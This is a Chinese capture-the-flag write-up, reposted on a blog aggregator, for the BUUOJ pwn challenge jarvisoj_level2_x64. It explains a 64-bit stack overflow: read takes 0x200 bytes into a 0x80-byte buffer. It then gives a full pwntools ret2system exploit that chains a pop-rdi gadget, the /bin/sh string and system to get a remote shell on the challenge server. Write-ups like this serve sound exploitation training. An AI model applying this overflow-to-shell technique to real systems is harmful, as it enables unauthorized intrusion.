当前位置:网站首页>jarvisoj_level2_x64
jarvisoj_level2_x64
2022-06-25 22:35:00 【[mzq]】
jarvisoj_level2_x64
题目地址 : https://buuoj.cn/challenges#jarvisoj_level2_x64
checksec 一下,64位程序 开的保护影响不大(nx栈不可执行,也就是不能往栈上写shellcode)
main函数
主要是调用了vuln函数,其他没问题
vulnerable_function函数
首先这个函数调用了system函数,这就使得plt表中存在system,且可以被我们调用,然后read读取了0x200个字符串,这比buf到rbp的距离0x80还要大,这又使得我们可以对return
addr进行覆盖,再然后呢就是这个程序竟然存在/bin/sh字符串,我们可以通过system直接获得shell
/bin/sh字符串
exp
from pwn import *
io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")
context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])
io.sendlineafter("Input:",payload)
io.interactive()
边栏推荐
- farsync 简易测试
- Apache foundation officially announced Apache inlong as a top-level project
- 4 key points to help the product manage the project well
- 快手实时数仓保障体系研发实践
- 渗透工具-Burpsuite
- Simulink求解器综合介绍
- Compile the telegraph desktop side (tdesktop) using vs2022
- Resolve thread concurrency security issues
- ORA-01153 :激活了不兼容的介质恢复
- 2021-04-28
猜你喜欢
DNS review
How to design the product roadmap?
The development context of Ba Kong Yuan universe industry
Performance leads the cloud native database market! Intel and Tencent jointly build cloud technology ecology
7. common instructions (Part 2): common operations of v-on, v-bind and V-model
每日刷题记录 (四)
1-9Vmware中网络配置
Simulink求解器综合介绍
The problem of low video memory in yolov5 accelerated multi GPU training
CaMKIIa和GCaMP6f是一樣的嘛?
随机推荐
【图像检测】基于高斯过程和Radon变换实现血管跟踪和直径估计附matlab代码
渗透工具-Burpsuite
Idea set the template of mapper mapping file
Methods of modifying elements in JS array
no_ Expand and use_ concat
Shenzhen Taipower: the way of "communication" of the United Nations
leetcode.14 --- 最长公共前缀
Oracle RAC cluster failed to start
leetcode. 14 --- longest public prefix
使用VS2022編譯Telegram桌面端(tdesktop)
The problem of low video memory in yolov5 accelerated multi GPU training
Darkent2ncnn error
Methods to realize asynchrony
JS to input the start time and end time, output the number of seasons, and print the corresponding month and year
4 key points to help the product manage the project well
Flink报错:Error: A JNI error has occurred, please check your installation and try again
DBCA silent installation and database building
DNS review
Anti shake and throttling
Ffmpeg version switching